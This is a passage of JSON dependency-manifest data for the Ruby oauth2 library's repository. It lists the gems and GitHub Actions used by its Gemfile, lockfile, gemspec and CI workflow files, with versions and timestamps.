ll,"kind":"manifest","created_at":"2026-03-18T08:02:30.857Z","updated_at":"2026-03-18T08:02:30.857Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/Gemfile","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/jruby.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:28.985Z","updated_at":"2026-03-18T08:02:28.985Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/jruby.yml","dependencies":[{"id":25841885826,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885827,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/locked_deps.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:29.705Z","updated_at":"2026-03-18T08:02:29.705Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/locked_deps.yml","dependencies":[{"id":25841885895,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885896,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"rubygems","filepath":"Gemfile.lock","sha":null,"kind":"lockfile","created_at":"2026-03-18T08:02:30.899Z","updated_at":"2026-03-18T08:02:30.899Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/Gemfile.lock","dependencies":[{"id":25841886167,"package_name":"dry-inflector","ecosystem":"rubygems","requirements":"1.3.1","direct":false,"kind":"runtime","optional":false},{"id":25841886203,"package_name":"dry-initializer","ecosystem":"rubygems","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841886210,"package_name":"dry-logic","ecosystem":"rubygems","requirements":"1.6.0","direct":false,"kind":"runtime","optional":false},{"id":25841886212,"package_name":"dry-schema","ecosystem":"rubygems","requirements":"1.15.0","direct":false,"kind":"runtime","optional":false},{"id":25841886216,"package_name":"dry-types","ecosystem":"rubygems","requirements":"1.9.1","direct":false,"kind":"runtime","optional":false},{"id":25841886224,"package_name":"erb","ecosystem":"rubygems","requirements":"5.1.3","direct":false,"kind":"runtime","optional":false},{"id":25841886233,"package_name":"faraday","ecosystem":"rubygems","requirements":"2.14.1","direct":false,"kind":"runtime","optional":false},{"id":25841886243,"package_name":"faraday-net_http","ecosystem":"rubygems","requirements":"3.4.2","direct":false,"kind":"runtime","optional":false},{"id":25841886281,"package_name":"gem_bench","ecosystem":"rubygems","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":25841886291,"package_name":"gitmoji-regex","ecosystem":"rubygems","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":25841886304,"package_name":"hashie","ecosystem":"rubygems","requirements":"5.1.0","direct":false,"kind":"runtime","optional":false},{"id":25841886321,"package_name":"io-console","ecosystem":"rubygems","requirements":"0.8.2","direct":false,"kind":"runtime","optional":false},{"id":25841886322,"package_name":"irb","ecosystem":"rubygems","requirements":"1.17.0","direct":false,"kind":"runtime","optional":false},{"id":25841886323,"package_name":"json","ecosystem":"rubygems","requirements":"2.18.1","direct":false,"kind":"runtime","optional":false},{"id":25841886324,"package_name":"jwt","ecosystem":"rubygems","requirements":"3.1.2","direct":false,"kind":"runtime","optional":false},{"id":25841886329,"package_name":"kettle-dev","ecosystem":"rubygems","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":25841886338,"package_name":"kettle-soup-cover","ecosystem":"rubygems","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":25841886339,"package_name":"kettle-test","ecosystem":"rubygems","requirements":"1.0.10","direct":false,"kind":"runtime","optional":false},{"id":25841886340,"package_name":"kramdown","ecosystem":"rubygems","requirements":"2.5.2","direct":false,"kind":"runtime","optional":false},{"id":25841886357,"package_name":"kramdown-parser-gfm","ecosystem":"rubygems","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":25841886360,"package_name":"language_server-protocol","ecosystem":"rubygems","requirements":"3.17.0.5","direct":false,"kind":"runtime","optional":false},{"id":25841886361,"package_name":"lint_roller","ecosystem":"rubygems","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":25841886362,"package_name":"logger","ecosystem":"rubygems","requirements":"1.7.0","direct":false,"kind":"runtime","optional":false},{"id":25841886363,"package_name":"multi_xml","ecosystem":"rubygems","requirements":"0.8.1","direct":false,"kind":"runtime","optional":false},{"id":25841886370,"package_name":"mutex_m","ecosystem":"rubygems","requirements":"0.3.0","direct":false,"kind":"runtime","optional":false},{"id":25841886428,"package_name":"net-http","ecosystem":"rubygems","requirements":"0.9.1","direct":false,"kind":"runtime","optional":false},{"id":25841886531,"package_name":"nkf","ecosystem":"rubygems","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841886607,"package_name":"nokogiri","ecosystem":"rubygems","requirements":"1.19.1","direct":false,"kind":"runtime","optional":false},{"id":25841886632,"package_name":"ostruct","ecosystem":"rubygems","requirements":"0.6.3","direct":false,"kind":"runtime","optional":false},{"id":25841886633,"package_name":"parallel","ecosystem":"rubygems","requirements":"1.27.0","direct":false,"kind":"runtime","optional":false},{"id":25841886634,"package_name":"parser","ecosystem":"rubygems","requirements":"3.3.10.2","direct":false,"kind":"runtime","optional":false},{"id":25841886758,"package_name":"pp","ecosystem":"rubygems","requirements":"0.6.3","direct":false,"kind":"runtime","optional":false},{"id":25841886759,"package_name":"prettyprint","ecosystem":"rubygems","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841886760,"package_name":"prism","ecosystem":"rubygems","requirements":"1.9.0","direct":false,"kind":"runtime","optional":false},{"id":25841886788,"package_name":"psych","ecosystem":"rubygems","requirements":"5.3.1","direct":false,"kind":"runtime","optional":false},{"id":25841886789,"package_name":"public_suffix","ecosystem":"rubygems","requirements":"7.0.2","direct":false,"kind":"runtime","optional":false},{"id":25841885994,"package_name":"yard-junk","ecosystem":"rubygems","requirements":"0.0.10","direct":false,"kind":"runtime","optional":false},{"id":25841886022,"package_name":"oauth2","ecosystem":"rubygems","requirements":"2.0.18","direct":false,"kind":"runtime","optional":false},{"id":25841886026,"package_name":"addressable","ecosystem":"rubygems","requirements":"2.8.9","direct":false,"kind":"runtime","optional":false},{"id":25841886027,"package_name":"ansi","ecosystem":"rubygems","requirements":"1.5.0","direct":false,"kind":"runtime","optional":false},{"id":25841886037,"package_name":"appraisal2","ecosystem":"rubygems","requirements":"3.0.6","direct":false,"kind":"runtime","optional":false},{"id":25841886051,"package_name":"ast","ecosystem":"rubygems","requirements":"2.4.3","direct":false,"kind":"runtime","optional":false},{"id":25841886058,"package_name":"backports","ecosystem":"rubygems","requirements":"3.25.3","direct":false,"kind":"runtime","optional":false},{"id":25841886061,"package_name":"base64","ecosystem":"rubygems","requirements":"0.3.0","direct":false,"kind":"runtime","optional":false},{"id":25841886062,"package_name":"benchmark","ecosystem":"rubygems","requirements":"0.5.0","direct":false,"kind":"runtime","optional":false},{"id":25841886063,"package_name":"bigdecimal","ecosystem":"rubygems","requirements":"4.0.1","direct":false,"kind":"runtime","optional":false},{"id":25841886064,"package_name":"bundler-audit","ecosystem":"rubygems","requirements":"0.9.3","direct":false,"kind":"runtime","optional":false},{"id":25841886065,"package_name":"concurrent-ruby","ecosystem":"rubygems","requirements":"1.3.6","direct":false,"kind":"runtime","optional":false},{"id":25841886067,"package_name":"date","ecosystem":"rubygems","requirements":"3.5.1","direct":false,"kind":"runtime","optional":false},{"id":25841886068,"package_name":"debug","ecosystem":"rubygems","requirements":"1.11.1","direct":false,"kind":"runtime","optional":false},{"id":25841886069,"package_name":"delegate","ecosystem":"rubygems","requirements":"0.6.1","direct":false,"kind":"runtime","optional":false},{"id":25841886102,"package_name":"diff-lcs","ecosystem":"rubygems","requirements":"1.6.2","direct":false,"kind":"runtime","optional":false},{"id":25841886120,"package_name":"diffy","ecosystem":"rubygems","requirements":"3.4.4","direct":false,"kind":"runtime","optional":false},{"id":25841886133,"package_name":"docile","ecosystem":"rubygems","requirements":"1.4.1","direct":false,"kind":"runtime","optional":false},{"id":25841886139,"package_name":"dry-configurable","ecosystem":"rubygems","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":25841886159,"package_name":"dry-core","ecosystem":"rubygems","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841886828,"package_name":"racc","ecosystem":"rubygems","requirements":"1.8.1","direct":false,"kind":"runtime","optional":false},{"id":25841886829,"package_name":"rack","ecosystem":"rubygems","requirements":"3.2.5","direct":false,"kind":"runtime","optional":false},{"id":25841886830,"package_name":"rainbow","ecosystem":"rubygems","requirements":"3.1.1","direct":false,"kind":"runtime","optional":false},{"id":25841886961,"package_name":"rake","ecosystem":"rubygems","requirements":"13.3.1","direct":false,"kind":"runtime","optional":false},{"id":25841886963,"package_name":"rbs","ecosystem":"rubygems","requirements":"3.10.3","direct":false,"kind":"runtime","optional":false},{"id":25841886985,"package_name":"rdoc","ecosystem":"rubygems","requirements":"6.17.0","direct":false,"kind":"runtime","optional":false},{"id":25841886986,"package_name":"reek","ecosystem":"rubygems","requirements":"6.5.0","direct":false,"kind":"runtime","optional":false},{"id":25841887112,"package_name":"regexp_parser","ecosystem":"rubygems","requirements":"2.11.3","direct":false,"kind":"runtime","optional":false},{"id":25841887178,"package_name":"reline","ecosystem":"rubygems","requirements":"0.6.3","direct":false,"kind":"runtime","optional":false},{"id":25841887179,"package_name":"require_bench","ecosystem":"rubygems","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":25841887251,"package_name":"rexml","ecosystem":"rubygems","requirements":"3.4.4","direct":false,"kind":"runtime","optional":false},{"id":25841887267,"package_name":"rspec","ecosystem":"rubygems","requirements":"3.13.2","direct":false,"kind":"runtime","optional":false},{"id":25841887369,"package_name":"rspec-block_is_expected","ecosystem":"rubygems","requirements":"1.0.6","direct":false,"kind":"runtime","optional":false},{"id":25841887372,"package_name":"rspec-core","ecosystem":"rubygems","requirements":"3.13.6","direct":false,"kind":"runtime","optional":false},{"id":25841887385,"package_name":"rspec-expectations","ecosystem":"rubygems","requirements":"3.13.5","direct":false,"kind":"runtime","optional":false},{"id":25841887455,"package_name":"rspec-mocks","ecosystem":"rubygems","requirements":"3.13.8","direct":false,"kind":"runtime","optional":false},{"id":25841887491,"package_name":"rspec-pending_for","ecosystem":"rubygems","requirements":"0.1.20","direct":false,"kind":"runtime","optional":false},{"id":25841887510,"package_name":"rspec-stubbed_env","ecosystem":"rubygems","requirements":"1.0.4","direct":false,"kind":"runtime","optional":false},{"id":25841887532,"package_name":"rspec-support","ecosystem":"rubygems","requirements":"3.13.7","direct":false,"kind":"runtime","optional":false},{"id":25841887545,"package_name":"rspec_junit_formatter","ecosystem":"rubygems","requirements":"0.6.0","direct":false,"kind":"runtime","optional":false},{"id":25841887629,"package_name":"rubocop","ecosystem":"rubygems","requirements":"1.84.2","direct":false,"kind":"runtime","optional":false},{"id":25841887667,"package_name":"rubocop-ast","ecosystem":"rubygems","requirements":"1.49.0","direct":false,"kind":"runtime","optional":false},{"id":25841887797,"package_name":"rubocop-gradual","ecosystem":"rubygems","requirements":"0.3.6","direct":false,"kind":"runtime","optional":false},{"id":25841887798,"package_name":"rubocop-lts","ecosystem":"rubygems","requirements":"8.1.1","direct":false,"kind":"runtime","optional":false},{"id":25841887809,"package_name":"rubocop-md","ecosystem":"rubygems","requirements":"1.2.4","direct":false,"kind":"runtime","optional":false},{"id":25841887820,"package_name":"rubocop-on-rbs","ecosystem":"rubygems","requirements":"1.9.1","direct":false,"kind":"runtime","optional":false},{"id":25841887870,"package_name":"rubocop-packaging","ecosystem":"rubygems","requirements":"0.6.0","direct":false,"kind":"runtime","optional":false},{"id":25841887883,"package_name":"rubocop-performance","ecosystem":"rubygems","requirements":"1.26.1","direct":false,"kind":"runtime","optional":false},{"id":25841887901,"package_name":"rubocop-rake","ecosystem":"rubygems","requirements":"0.7.1","direct":false,"kind":"runtime","optional":false},{"id":25841887951,"package_name":"rubocop-rspec","ecosystem":"rubygems","requirements":"3.9.0","direct":false,"kind":"runtime","optional":false},{"id":25841887965,"package_name":"rubocop-ruby2_2","ecosystem":"rubygems","requirements":"2.0.5","direct":false,"kind":"runtime","optional":false},{"id":25841887985,"package_name":"rubocop-shopify","ecosystem":"rubygems","requirements":"2.18.0","direct":false,"kind":"runtime","optional":false},{"id":25841887991,"package_name":"rubocop-thread_safety","ecosystem":"rubygems","requirements":"0.7.3","direct":false,"kind":"runtime","optional":false},{"id":25841888069,"package_name":"ruby-progressbar","ecosystem":"rubygems","requirements":"1.13.0","direct":false,"kind":"runtime","optional":false},{"id":25841888086,"package_name":"ruby_engine","ecosystem":"rubygems","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":25841888089,"package_name":"ruby_version","ecosystem":"rubygems","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":25841888219,"package_name":"silent_stream","ecosystem":"rubygems","requirements":"1.0.12","direct":false,"kind":"runtime","optional":false},{"id":25841888456,"package_name":"simplecov","ecosystem":"rubygems","requirements":"0.22.0","direct":false,"kind":"runtime","optional":false},{"id":25841888495,"package_name":"simplecov-cobertura","ecosystem":"rubygems","requirements":"3.1.0","direct":false,"kind":"runtime","optional":false},{"id":25841888526,"package_name":"simplecov-console","ecosystem":"rubygems","requirements":"0.9.5","direct":false,"kind":"runtime","optional":false},{"id":25841888534,"package_name":"simplecov-html","ecosystem":"rubygems","requirements":"0.13.2","direct":false,"kind":"runtime","optional":false},{"id":25841888869,"package_name":"simplecov_json_formatter","ecosystem":"rubygems","requirements":"0.1.4","direct":false,"kind":"runtime","optional":false},{"id":25841888881,"package_name":"snaky_hash","ecosystem":"rubygems","requirements":"2.0.3","direct":false,"kind":"runtime","optional":false},{"id":25841889004,"package_name":"standard","ecosystem":"rubygems","requirements":"1.54.0","direct":false,"kind":"runtime","optional":false},{"id":25841889033,"package_name":"standard-custom","ecosystem":"rubygems","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":25841889066,"package_name":"standard-performance","ecosystem":"rubygems","requirements":"1.9.0","direct":false,"kind":"runtime","optional":false},{"id":25841889083,"package_name":"standard-rubocop-lts","ecosystem":"rubygems","requirements":"1.0.10","direct":false,"kind":"runtime","optional":false},{"id":25841889312,"package_name":"stone_checksums","ecosystem":"rubygems","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":25841889345,"package_name":"stringio","ecosystem":"rubygems","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841889346,"package_name":"terminal-table","ecosystem":"rubygems","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":25841889366,"package_name":"thor","ecosystem":"rubygems","requirements":"1.5.0","direct":false,"kind":"runtime","optional":false},{"id":25841889367,"package_name":"timecop","ecosystem":"rubygems","requirements":"0.9.10","direct":false,"kind":"runtime","optional":false},{"id":25841889421,"package_name":"timecop-rspec","ecosystem":"rubygems","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":25841889425,"package_name":"tsort","ecosystem":"rubygems","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841889576,"package_name":"unicode-display_width","ecosystem":"rubygems","requirements":"3.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841889821,"package_name":"unicode-emoji","ecosystem":"rubygems","requirements":"4.2.0","direct":false,"kind":"runtime","optional":false},{"id":25841889852,"package_name":"uri","ecosystem":"rubygems","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":25841889931,"package_name":"version_gem","ecosystem":"rubygems","requirements":"1.1.9","direct":false,"kind":"runtime","optional":false},{"id":25841888717,"package_name":"simplecov-lcov","ecosystem":"rubygems","requirements":"0.9.0","direct":false,"kind":"runtime","optional":false},{"id":25841888761,"package_name":"simplecov-rcov","ecosystem":"rubygems","requirements":"0.3.7","direct":false,"kind":"runtime","optional":false},{"id":25841890081,"package_name":"yard","ecosystem":"rubygems","requirements":"0.9.38","direct":false,"kind":"runtime","optional":false},{"id":25841890086,"package_name":"yard-fence","ecosystem":"rubygems","requirements":"0.8.2","direct":false,"kind":"runtime","optional":false},{"id":25841890098,"package_name":"yard-relative_markdown_links","ecosystem":"rubygems","requirements":"0.5.0","direct":false,"kind":"runtime","optional":false},{"id":25841890099,"package_name":"zeitwerk","ecosystem":"rubygems","requirements":"2.7.5","direct":false,"kind":"runtime","optional":false},{"id":25841890100,"package_name":"zlib","ecosystem":"rubygems","requirements":"3.2.2","direct":false,"kind":"runtime","optional":false},{"id":25841890174,"package_name":"bundler","ecosystem":"rubygems","requirements":"4.0.7","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"rubygems","filepath":"oauth2.gemspec","sha":null,"kind":"manifest","created_at":"2026-03-18T08:03:00.316Z","updated_at":"2026-03-18T08:03:00.316Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/oauth2.gemspec","dependencies":[{"id":25841890175,"package_name":"faraday","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":25841890176,"package_name":"jwt","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":25841890177,"package_name":"logger","ecosystem":"rubygems","requirements":"~\u003e 1.2","direct":true,"kind":"runtime","optional":false},{"id":25841890178,"package_name":"multi_xml","ecosystem":"rubygems","requirements":"~\u003e 0.5","direct":true,"kind":"runtime","optional":false},{"id":25841890179,"package_name":"rack","ecosystem":"rubygems","requirements":"\u003e= 0","direct":true,"kind":"runtime","optional":false},{"id":25841890202,"package_name":"snaky_hash","ecosystem":"rubygems","requirements":"~\u003e 2.0, \u003e= 2.0.3","direct":true,"kind":"runtime","optional":false},{"id":25841890203,"package_name":"version_gem","ecosystem":"rubygems","requirements":"~\u003e 1.1, \u003e= 1.1.9","direct":true,"kind":"runtime","optional":false},{"id":25841890204,"package_name":"addressable","ecosystem":"rubygems","requirements":"~\u003e 2.8, \u003e= 2.8.7","direct":true,"kind":"development","optional":false},{"id":25841890205,"package_name":"nkf","ecosystem":"rubygems","requirements":"~\u003e 0.2","direct":true,"kind":"development","optional":false},{"id":25841890206,"package_name":"rexml","ecosystem":"rubygems","requirements":"~\u003e 3.2, \u003e= 3.2.5","direct":true,"kind":"development","optional":false},{"id":25841890207,"package_name":"kettle-dev","ecosystem":"rubygems","requirements":"~\u003e 2.0","direct":true,"kind":"development","optional":false},{"id":25841890373,"package_name":"erb","ecosystem":"rubygems","requirements":"\u003e= 2.2","direct":true,"kind":"development","optional":false},{"id":25841890374,"package_name":"gitmoji-regex","ecosystem":"rubygems","requirements":"~\u003e 1.0, \u003e= 1.0.3","direct":true,"kind":"development","optional":false},{"id":25841890375,"package_name":"backports","ecosystem":"rubygems","requirements":"~\u003e 3.25, \u003e= 3.25.1","direct":true,"kind":"development","optional":false},{"id":25841890376,"package_name":"vcr","ecosystem":"rubygems","requirements":"\u003e= 4","direct":true,"kind":"development","optional":false},{"id":25841890208,"package_name":"bundler-audit","ecosystem":"rubygems","requirements":"~\u003e 0.9.2","direct":true,"kind":"development","optional":false},{"id":25841890209,"package_name":"rake","ecosystem":"rubygems","requirements":"~\u003e 13.0","direct":true,"kind":"development","optional":false},{"id":25841890210,"package_name":"require_bench","ecosystem":"rubygems","requirements":"~\u003e 1.0, \u003e= 1.0.4","direct":true,"kind":"development","optional":false},{"id":25841890211,"package_name":"appraisal2","ecosystem":"rubygems","requirements":"~\u003e 3.0, \u003e= 3.0.6","direct":true,"kind":"development","optional":false},{"id":25841890212,"package_name":"kettle-test","ecosystem":"rubygems","requirements":"~\u003e 1.0, \u003e= 1.0.10","direct":true,"kind":"development","optional":false},{"id":25841890213,"package_name":"ruby-progressbar","ecosystem":"rubygems","requirements":"~\u003e 1.13","direct":true,"kind":"development","optional":false},{"id":25841890214,"package_name":"stone_checksums","ecosystem":"rubygems","requirements":"~\u003e 1.0, \u003e= 1.0.3","direct":true,"kind":"development","optional":false},{"id":25841890215,"package_name":"git","ecosystem":"rubygems","requirements":"\u003e= 1.19.1","direct":true,"kind":"runtime","optional":false},{"id":25841890408,"package_name":"webmock","ecosystem":"rubygems","requirements":"\u003e= 3","direct":true,"kind":"development","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/current.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:28.231Z","updated_at":"2026-03-18T08:02:28.231Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/current.yml","dependencies":[{"id":25841885790,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885791,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/unlocked_deps.yml","sha":null,"kind":"manifest","created_at":"2026-03-18T08:02:30.074Z","updated_at":"2026-03-18T08:02:30.074Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/unlocked_deps.yml","dependencies":[{"id":25841885909,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v6","direct":true,"kind":"composite","optional":false},{"id":25841885910,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"v1.290.0","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-3.4.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.820Z","updated_at":"2026-08-14T22:37:43.820Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-3.4.yml","dependencies":[{"id":26136086177,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086178,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffleruby-22.3.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:44.031Z","updated_at":"2026-08-14T22:37:44.031Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffleruby-22.3.yml","dependencies":[{"id":26136086187,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086188,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/jruby-10.0.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.147Z","updated_at":"2026-08-14T22:37:43.147Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/jruby-10.0.yml","dependencies":[{"id":26136086153,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086154,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-2.4.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.396Z","updated_at":"2026-08-14T22:37:43.396Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-2.4.yml","dependencies":[{"id":26136086161,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086162,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-2.6.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.508Z","updated_at":"2026-08-14T22:37:43.508Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-2.6.yml","dependencies":[{"id":26136086165,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086166,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-2.5.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.455Z","updated_at":"2026-08-14T22:37:43.455Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-2.5.yml","dependencies":[{"id":26136086163,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086164,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-2.7.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.556Z","updated_at":"2026-08-14T22:37:43.556Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-2.7.yml","dependencies":[{"id":26136086167,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086168,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-3.1.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.660Z","updated_at":"2026-08-14T22:37:43.660Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-3.1.yml","dependencies":[{"id":26136086171,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086172,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffleruby-23.0.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:44.082Z","updated_at":"2026-08-14T22:37:44.082Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffleruby-23.0.yml","dependencies":[{"id":26136086189,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086190,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffleruby-33.0.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:44.314Z","updated_at":"2026-08-14T22:37:44.314Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffleruby-33.0.yml","dependencies":[{"id":26136086197,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086198,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffleruby-24.2.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:44.190Z","updated_at":"2026-08-14T22:37:44.190Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffleruby-24.2.yml","dependencies":[{"id":26136086193,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086194,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/truffleruby-25.0.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:44.256Z","updated_at":"2026-08-14T22:37:44.256Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/truffleruby-25.0.yml","dependencies":[{"id":26136086195,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086196,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/ruby-3.3.yml","sha":null,"kind":"manifest","created_at":"2026-08-14T22:37:43.764Z","updated_at":"2026-08-14T22:37:43.764Z","repository_link":"https://github.com/ruby-oauth/oauth2/blob/main/.github/workflows/ruby-3.3.yml","dependencies":[{"id":26136086175,"package_name":"actions/checkout","ecosystem":"actions","requirements":"9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0","direct":true,"kind":"composite","optional":false},{"id":26136086176,"package_name":"ruby/setup-ruby","ecosystem":"actions","requirements":"d45b1a4e94b71acab930e56e79c6aa188764e7f9